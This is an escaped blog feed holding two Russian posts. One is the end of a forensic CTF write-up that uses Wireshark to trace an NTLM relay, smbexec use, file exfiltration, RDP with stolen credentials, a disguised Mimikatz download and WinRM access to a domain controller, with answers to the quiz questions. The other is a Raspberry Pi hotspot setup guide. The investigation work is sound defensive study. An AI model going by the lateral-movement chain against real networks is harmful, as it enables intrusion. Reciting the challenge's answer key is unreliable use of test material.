    &lt;img src=&quot;https://img1.teletype.in/files/82/05/82050ba0-f8f8-4c80-88d1-19822c213cd0.png&quot; width=&quot;1005&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;W5hv&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;CcLq&quot;&gt;В итоге аутентифицироваться получилось только на хосте 192.168.1.100 под доменным пользователем CYBER\admin.&lt;/p&gt;
  &lt;p id=&quot;vh37&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;1d7d&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/05/9a/059a39da-ed93-48c8-adcd-f05b2b1ed4cc.png&quot; width=&quot;1085&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cCqk&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;RZxc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/89/1f892c87-e24e-4e2e-be97-bd3790c94fa4.png&quot; width=&quot;1206&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;r5TE&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;9FL5&quot;&gt;Неудачная аутентификация на 192.168.1.5 (для сравнения):&lt;/p&gt;
  &lt;p id=&quot;U2zs&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;Dl61&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/a4/1fa47631-c989-4bd9-a2fc-57cd54a92a7d.png&quot; width=&quot;1077&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Xob6&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;sgP0&quot;&gt;Далее идёт большой блок пакетов общения злоумышленника с 192.168.1.100 по SMB2, среди которых можно выделить пакеты с File: _output, ответ на которые мы можем без проблем просмотреть, так как он передаётся в открытом виде. Например, просмотрим первый попавшийся ответ:&lt;/p&gt;
  &lt;p id=&quot;E7qy&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;dqz3&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5f/a1/5fa1d79e-fa64-4d5d-98de-215cc78ebc2b.png&quot; width=&quot;1109&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Ayjt&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;mEco&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8a/e8/8ae8ba48-2542-47d0-848c-6cedee56b497.png&quot; width=&quot;1307&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iwlm&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;mvjg&quot;&gt;Злоумышленник ожидаемо воспользовался smbexec для получения терминала Windows, давайте проследим за его действиями:&lt;/p&gt;
  &lt;p id=&quot;sh67&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;yQNh&quot;&gt;
    &lt;li id=&quot;WW22&quot;&gt;Проверил терминал, выведя содержимое папки System32:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;QBiZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/12/e3/12e30354-d429-4c99-9f07-8b44b21ddb95.png&quot; width=&quot;1301&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dlbh&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;AHrl&quot;&gt;
    &lt;li id=&quot;Ur6l&quot;&gt;Вывел содержимое папки пользователей (узнал, какие учётные записи есть на машине):&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;ZO0y&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5a/bc/5abc7c28-d361-4386-aa9d-0a22d2d7ef08.png&quot; width=&quot;1297&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nUJy&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;SEe1&quot;&gt;
    &lt;li id=&quot;34Rg&quot;&gt;Начал исследовать папку доменного пользователя admin.CYBER (пригодится для ответа на вопрос 7):&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;bnOw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e7/48/e7488efa-4bfc-4d2e-9101-80aebfe58eeb.png&quot; width=&quot;1301&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;JFuo&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;STYu&quot;&gt;
    &lt;li id=&quot;xasX&quot;&gt;На рабочем столе ничего найдено не было.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;UJNU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/08/b6/08b6f60f-af31-4f1f-a9e8-9a3b2d77e6d0.png&quot; width=&quot;1319&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lvZ7&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;VpHV&quot;&gt;
    &lt;li id=&quot;cfXL&quot;&gt;А вот в загрузках лежал файл consumers.txt, интересно было бы посмотреть на его содержимое:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;S1xu&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/08/5808d746-7fdc-41cd-af30-8a63a8d3cacc.png&quot; width=&quot;1292&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;65Oh&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;Lmo8&quot;&gt;
    &lt;li id=&quot;SLyh&quot;&gt;Злоумышленнику также это было интересно, поэтому он решил сохранить этот файл себе, используя поднятый HTTP-сервер с возможностью принятия файлов, расположенный на его втором СВТ во внешней сети:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;Qt5T&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1d/56/1d566ef6-5980-446f-bafc-ee0f57b1dd4b.png&quot; width=&quot;1299&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Hw6A&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;WEUN&quot;&gt;Мы, как специалисты, которые расследуют инцидент, можем воспользоваться этим и восстановить содержимое файла consumers.txt, изучив HTTP-запросы, связанные со вторым IP-адресом злоумышленника (10.0.1.50). Для этого чуть-чуть изменим текущий фильтр:&lt;/p&gt;
  &lt;p id=&quot;eu0k&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;24Qm&quot;&gt;(!(_ws.col.protocol == &amp;quot;TCP&amp;quot;) &amp;amp;&amp;amp; !(_ws.col.protocol == &amp;quot;TLSv1.2&amp;quot;) &amp;amp;&amp;amp; ((ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24))) &amp;amp;&amp;amp; ip.addr == 10.0.1.50&lt;/pre&gt;
  &lt;p id=&quot;KQef&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;KgPZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/65/8065914d-4c9f-4dfc-82eb-a4a57a6d8610.png&quot; width=&quot;1025&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;W51z&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;wfXQ&quot;&gt;Видно, что за всю историю было отправлено 3 файла (3 POST запроса). Не будем рассматривать сразу все, чтобы не терять нить происходящего, просто, так как это была первая эксфильтрация (передача файлов с машины жертвы на свою), обратимся к первому же POST запросу и выведем байты раздела DATA:&lt;/p&gt;
  &lt;p id=&quot;qoV2&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;rmAo&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a7/65/a7654f6f-521e-4f5e-bb3b-d7c1e3283616.png&quot; width=&quot;812&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DsMm&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;DmSF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b2/38/b238dc6f-475f-41c7-aca3-0f6ff2c38e9a.png&quot; width=&quot;1302&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;h4Cx&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;9LPN&quot;&gt;Судя по содержанию данного файла, перед собой мы видим логин и пароль, которые в дальнейшем злоумышленник может использовать для захвата следующего хоста. Так как, по всей видимости, с хостом 192.168.1.100 мы закончили, подведём итоги:&lt;/p&gt;
  &lt;p id=&quot;B7Xy&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;8VvX&quot;&gt;5. NTLMv2-SSP-хэш какой учетной записи был скомпрометирован? - admin&lt;/p&gt;
  &lt;p id=&quot;ii8D&quot;&gt;6. Какой узел скомпрометирован в результате атаки NTLM-Relay? - 192.168.1.100&lt;/p&gt;
  &lt;p id=&quot;LSrl&quot;&gt;7. Какое количество директорий находится на скомпрометированном СВТ (вопрос 6) в папке пользователя admin\CYBER? - 11&lt;/p&gt;
  &lt;p id=&quot;TYRZ&quot;&gt;8. Укажите IP-адрес второго СВТ злоумышленника - 10.0.1.50&lt;/p&gt;
  &lt;p id=&quot;iWqX&quot;&gt;9. Укажите содержимое украденного файла с СВТ из вопроса 6 - Michael_ScottDundermifflin1&lt;/p&gt;
  &lt;p id=&quot;ym7Z&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;oeha&quot;&gt;Вопрос 10-13&lt;/h3&gt;
  &lt;p id=&quot;wjAO&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;WJCH&quot;&gt;Вернёмся к фильтру по первой СВТ злоумышленника:&lt;/p&gt;
  &lt;p id=&quot;gAc4&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;hqwQ&quot;&gt;(!(_ws.col.protocol == &amp;quot;TCP&amp;quot;) &amp;amp;&amp;amp; !(_ws.col.protocol == &amp;quot;TLSv1.2&amp;quot;) &amp;amp;&amp;amp; ((ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24))) &amp;amp;&amp;amp; ip.addr == 192.168.1.105&lt;/pre&gt;
  &lt;p id=&quot;cAoo&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;bd5P&quot;&gt;Дальнейший трафик представляет собой кучу лишних DNS-запросов, но среди них главное не упустить два интересных пакета:&lt;/p&gt;
  &lt;p id=&quot;KQLu&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;FGBh&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/31/a9/31a94234-fc5d-4bf5-bb47-32ea07016767.png&quot; width=&quot;996&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Vc4P&quot;&gt;С хоста злоумышленника произошло подключение к 192.168.1.5 (он же fileserver.cyber.local), при этом в cookie мы отчётливо видим имя пользователя Michael_Scott, которое ранее было найдено в файле . Теперь, с учётом того что у злоумышленника появился полноценный доступ к рабочему столу файлового сервера, стоит проверить весь трафик, связанный с ним, соответственно модифицируем фильтр:&lt;/p&gt;
  &lt;p id=&quot;Ekzk&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;2zd3&quot;&gt;(!(_ws.col.protocol == &amp;quot;TCP&amp;quot;) &amp;amp;&amp;amp; !(_ws.col.protocol == &amp;quot;TLSv1.2&amp;quot;) &amp;amp;&amp;amp; ((ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 &amp;amp;&amp;amp; ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 &amp;amp;&amp;amp; ip.dst == 192.168.1.0/24))) &amp;amp;&amp;amp; ip.addr == 192.168.1.5&lt;/pre&gt;
  &lt;p id=&quot;xR59&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;oPNN&quot;&gt;Смотрим, естественно, начиная с RDP:&lt;/p&gt;
  &lt;p id=&quot;w2Wn&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;nEM7&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f4/f7/f4f79a5e-9b4a-404a-9a64-6547661a43e3.png&quot; width=&quot;1221&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IHRc&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;4Png&quot;&gt;Ниже снова видим взаимодействие по HTTP с хостом злоумышленника с очень подозрительным запросом файла, который именуется как некий Windows_update.zip:&lt;/p&gt;
  &lt;p id=&quot;Yfpg&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;1LQw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a0/c1/a0c1e076-cd34-40af-ad59-ee07a6ee503a.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LKf2&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;TIlA&quot;&gt;Восстановим его и посмотрим, что внутри:&lt;/p&gt;
  &lt;p id=&quot;MRPs&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;iYcW&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/08/ba/08baa35a-9a95-4817-b050-1d7d762271fb.png&quot; width=&quot;725&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rQPY&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;pfZt&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/e9/96e92d04-c85d-4456-8768-cf69ca83ec46.png&quot; width=&quot;458&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kfKA&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;xGlY&quot;&gt;Это был Mimikatz, а значит, что при условии успешного его применения у злоумышленника может оказаться ещё больше учётных данных. Также сразу можно обратить ниже по трафику внимание на ещё одну кражу файла, на этот раз это картинка:&lt;/p&gt;
  &lt;p id=&quot;K7eG&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;xIf9&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2e/66/2e66d402-1829-47f9-9159-51cfc15033ef.png&quot; width=&quot;1005&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Qrde&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;GZCK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/39/84/3984ffff-693e-4c89-93d7-a26fac53d916.png&quot; width=&quot;366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6eGH&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;U6th&quot;&gt;По старой традиции, прежде чем рассматривать дальнейшее перемещение злоумышленника, остановимся и заполним табличку:&lt;/p&gt;
  &lt;p id=&quot;lvpm&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;emzl&quot;&gt;10. При помощи какого протокола злоумышленник скомпрометировал узел file.cyber.local? - RDP&lt;/p&gt;
  &lt;p id=&quot;7sUB&quot;&gt;11. Какое имя учетной записи было использовано для проникновения на узел file.cyber.local? - Michael_Scott&lt;/p&gt;
  &lt;p id=&quot;PK6O&quot;&gt;12. Какое вспомогательное вредоносное программное обеспечение было загружено злоумышленником на узел file.cyber.local? - Mimikatz&lt;/p&gt;
  &lt;p id=&quot;ZzCV&quot;&gt;13. Какое количество людей изображено на изображении, украденном с узла file.cyber.local? - 16&lt;/p&gt;
  &lt;p id=&quot;ZsYB&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;MGWN&quot;&gt;Вопрос 14-15&lt;/h3&gt;
  &lt;p id=&quot;ZGZD&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;iRRv&quot;&gt;Последним шагом злоумышленника стал захват контроллера домена. Судя по дальнейшему трафику, сделал он это через протокол WinRM с учётными данными из Mimikatz. Понять это можно по HTTP-запросам к /wsman:&lt;/p&gt;
  &lt;p id=&quot;GqCB&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;EwwB&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7c/15/7c1576d0-db46-40ba-a573-4ac5c6ddde93.png&quot; width=&quot;1558&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VWR4&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;2lmj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/56/f6/56f68989-7ddd-491f-b222-1cad41a35cec.png&quot; width=&quot;1292&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tNhT&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;355O&quot;&gt;Теперь можно сказать точно, что весь путь злоумышленника определён. Остаётся узнать, какие документы он украл? Сделать это можно, переключившись в фильтре на трафик контроллера домена, или же, при условии того, что злоумышленник так или иначе крадёт эти файлы на определённый хост, можно вернуться к нему и просто посмотреть последний POST-запрос.&lt;/p&gt;
  &lt;p id=&quot;hH3T&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;0EJX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e2/71/e2715199-c3b4-47d0-9ce1-67540b21c22b.png&quot; width=&quot;895&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uHlO&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;QqNG&quot;&gt;Архив восстанавливаем, как и в случае с Mimikatz (у названий файлов внутри чуть поломана кодировка):&lt;/p&gt;
  &lt;p id=&quot;sEZ5&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;oJJc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/ff/0b/ff0b9588-50d2-450f-852d-da1dab742ecd.png&quot; width=&quot;595&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gfwb&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;QBUV&quot;&gt;При открытии первого же документа сразу понятно, кто разрабатывал документы:&lt;/p&gt;
  &lt;p id=&quot;Ffj2&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;C0lt&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/60/55/6055a2c7-7f04-4588-8b85-01f3e369006d.png&quot; width=&quot;713&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;FBpc&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;0wzb&quot;&gt;На этом расследование данного инцидента можно назвать законченным.&lt;/p&gt;
  &lt;p id=&quot;VQhO&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;8Hzc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/96/7096196e-7609-456a-a613-e873a4abfa33.png&quot; width=&quot;1019&quot; /&gt;
  &lt;/figure&gt;

</content></entry><entry><id>none_notes:raspberry_pi_hotspot</id><link rel="alternate" type="text/html" href="https://blog.nonedev.tech/raspberry_pi_hotspot?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=none_notes"></link><title>Настройка Raspberry Pi в качестве беспроводной точки доступа</title><published>2024-07-04T19:04:42.035Z</published><updated>2025-10-16T16:57:49.593Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/bb/10/bb101fa8-33d6-426a-bec3-73a6ef457e38.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/48/18/4818b5c3-1c5c-4601-a599-5c56ae140ca8.png&quot;&gt;В рамках маленького проекта внутри клуба мне предстояло настроить Raspberry Pi zero W так, чтобы на нём располагался небольшой веб-сервер, доступ к которому был бы через точку доступа Wi-Fi. С веб-серверами я уже знаком очень близко, а вот настройка Raspberry Pi как точки доступа — это дело другое, так как я не имел большого опыта работы с ней. Соответственно, я пошёл изучать различные гайды по настройке точки доступа и столкнулся с тем, что в каждом таком гайде некоторые шаги противоречили друг другу, поэтому я и решил написать данную статью, где опишу свой процесс успешной настройки, который был скомпонован из разных гайдов.</summary><content type="html">
  &lt;figure id=&quot;0PAf&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/48/18/4818b5c3-1c5c-4601-a599-5c56ae140ca8.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;CGSq&quot;&gt;Оглавление&lt;/h2&gt;
  &lt;hr /&gt;
  &lt;nav&gt;
    &lt;ul&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#CGSq&quot;&gt;Оглавление&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#050a&quot;&gt;Введение&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#mssV&quot;&gt;Установка Raspberry OS&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#lqC3&quot;&gt;1 Шаг. Установка утилит&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#BB7c&quot;&gt;2 Шаг. Настройка DHCP&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#WaFc&quot;&gt;3 Шаг. Настройка интерфейса&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#MiTL&quot;&gt;4 Шаг. Настройка DNS сервера&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#4R58&quot;&gt;5 Шаг. Настройка hostapd&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#Sujo&quot;&gt;6 Шаг. Активация служб&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#cXnK&quot;&gt;Заключение&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/nav&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;050a&quot;&gt;&lt;strong&gt;Введение&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;eq63&quot;&gt;В рамках маленького проекта внутри клуба мне предстояло настроить Raspberry Pi zero W так, чтобы на нём располагался небольшой веб-сервер, доступ к которому был бы через точку доступа Wi-Fi. С веб-серверами я уже знаком очень близко, а вот настройка Raspberry Pi как точки доступа — это дело другое, так как я не имел большого опыта работы с ней. Соответственно, я пошёл изучать различные гайды по настройке точки доступа и столкнулся с тем, что в каждом таком гайде некоторые шаги противоречили друг другу, поэтому я и решил написать данную статью, где опишу свой процесс успешной настройки, который был скомпонован из разных гайдов. &lt;/p&gt;
  &lt;p id=&quot;VvXS&quot;&gt;Надеюсь, он кому-нибудь поможет. Приятного чтения!&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;mssV&quot;&gt;Установка Raspberry OS&lt;/h2&gt;
  &lt;p id=&quot;Ch4H&quot;&gt;Сразу хотел бы сконцентрировать внимание на том, что систему нужно устанавливать через BalenaEtcher, а не через Raspberry Pi Imager, иначе у вас возникнут проблемы на этапе настройки сетевого адаптера, который просто-напросто заблокирует rfkill.&lt;/p&gt;
  &lt;pre id=&quot;0q8D&quot;&gt;Wi-Fi is currently blocked by rfkill.
Use raspi-config to set the country before use.&lt;/pre&gt;
  &lt;p id=&quot;h4OO&quot;&gt;Насколько я знаю, данная проблема решаема, но если есть способ её изначально избежать, то почему бы и нет.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;lqC3&quot;&gt;1 Шаг. Установка утилит&lt;/h2&gt;
  &lt;p id=&quot;wqWH&quot;&gt;Для начала устанавливаем все основные утилиты:&lt;/p&gt;
  &lt;p id=&quot;NnPx&quot;&gt;- &lt;strong&gt;Hostapd&lt;/strong&gt; — Daemon, который позволяет плате выступать в качестве точки доступа и сервера аутентификации.&lt;br /&gt;- &lt;strong&gt;Dnsmasq&lt;/strong&gt; — Лёгкий и быстрый DNS, DHCP и TFTP-сервер, который используется для обеспечения доменными именами и связанными с ними сервисами небольших сетей.&lt;br /&gt;- &lt;strong&gt;Dhcpcd&lt;/strong&gt; — Клиент DHCP (по идее должен быть установлен по умолчанию, но у меня его не было).&lt;/p&gt;
  &lt;pre id=&quot;Ty1p&quot; data-lang=&quot;shell&quot;&gt;sudo apt install hostapd dnsmasq dhcpcd&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;BB7c&quot;&gt;2 Шаг. Настройка DHCP&lt;/h2&gt;
  &lt;p id=&quot;ME26&quot;&gt;Для работы точки доступа нужно полностью выделить беспроводной интерфейс и сделать так, чтобы никакая другая служба не вмешивалась в его работу, в том числе и сам DHCP.&lt;/p&gt;
  &lt;p id=&quot;AieE&quot;&gt;Поэтому в файле &lt;code&gt;/etc/dhcpcd.conf&lt;/code&gt; в конец добавляем следующую строку:&lt;/p&gt;
  &lt;pre id=&quot;AieE&quot;&gt;denyinterfaces wlan0&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;WaFc&quot;&gt;3 Шаг. Настройка интерфейса&lt;/h2&gt;
  &lt;p id=&quot;chnf&quot;&gt;Теперь перейдём к настройке самого беспроводного интерфейса. Он должен иметь статический IP, иначе другие устройства при попытке подключения не смогут её найти.&lt;/p&gt;
  &lt;p id=&quot;wu4Y&quot;&gt;Для этого в файл &lt;code&gt;/etc/network/interfaces&lt;/code&gt; добавляем настройку &lt;code&gt;wlan0&lt;/code&gt; или же изменяем, если она уже существует, на следующую:&lt;/p&gt;
  &lt;pre id=&quot;8xk7&quot;&gt;allow-hotplug wlan0
iface wlan0 inet static
    wireless-mode Master
    address 192.168.52.1
    netmask 255.255.255.0
    network 192.168.52.0
    broadcast 192.168.52.255
#   wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;MiTL&quot;&gt;4 Шаг. Настройка DNS сервера&lt;/h2&gt;
  &lt;p id=&quot;Hiqj&quot;&gt;Для нормального функционирования DNS-сервера можно воспользоваться следующей конфигурацией, которую необходимо поместить в &lt;code&gt;/etc/dnsmasq.conf&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;5WuZ&quot;&gt;interface=wlan0

listen-address=192.168.52.1

bind-interfaces

server=8.8.8.8

domain-needed

bogus-priv

dhcp-range=192.168.52.5,192.168.52.250,12h&lt;/pre&gt;
  &lt;p id=&quot;PkVy&quot;&gt;Также при уже тестировании настройки точки доступа я столкнулся с проблемой, что Dnsmasq запускается раньше, чем применяются настройки интерфейса, и из-за этого первый запуск происходит с ошибкой.&lt;/p&gt;
  &lt;p id=&quot;M2BC&quot;&gt;Это можно решить, добавив параметр &lt;code&gt;Restart&lt;/code&gt; в &lt;code&gt;[Service]&lt;/code&gt; сервисный файл (&lt;code&gt;/lib/systemd/system/dnsmasq.service&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;eSwW&quot;&gt;Restart=always
RestartSec=5s&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;4R58&quot;&gt;5 Шаг. Настройка hostapd&lt;/h2&gt;
  &lt;p id=&quot;styF&quot;&gt;В настройках hostapd (&lt;code&gt;/etc/hostapd/hostapd.conf&lt;/code&gt;) необходимо прописать параметры точки доступа, её параметры безопасности и имя:&lt;/p&gt;
  &lt;pre id=&quot;3PMj&quot;&gt;interface=wlan0

ssid=[Имя сети]

hw_mode=g

channel=6

macaddr_acl=0

auth_algs=1

ignore_broadcast_ssid=0

wpa=2

wpa_key_mgmt=WPA-PSK

wpa_passphrase=[Пароль сети]

rsn_pairwise=CCMP&lt;/pre&gt;
  &lt;p id=&quot;jOlP&quot;&gt;Также, чтобы данные настройки работали, нужно добавить путь к ним в переменную &lt;code&gt;DAEMON_CONF&lt;/code&gt; в &lt;code&gt;/etc/default/hostapd&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;Iibt&quot;&gt;DAEMON_CONF=&amp;quot;/etc/hostapd/hostapd.conf&amp;quot;&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Sujo&quot;&gt;6 Шаг. Активация служб&lt;/h2&gt;
  &lt;p id=&quot;7YlN&quot;&gt;Последним шагом остаётся только включить все необходимые службы:&lt;/p&gt;
  &lt;pre id=&quot;wZTl&quot; data-lang=&quot;shell&quot;&gt;sudo systemctl enable hostapd
sudo systemctl start hostapd

sudo systemctl enable dnsmasq
sudo systemctl start dnsmasq&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;cXnK&quot;&gt;Заключение&lt;/h2&gt;
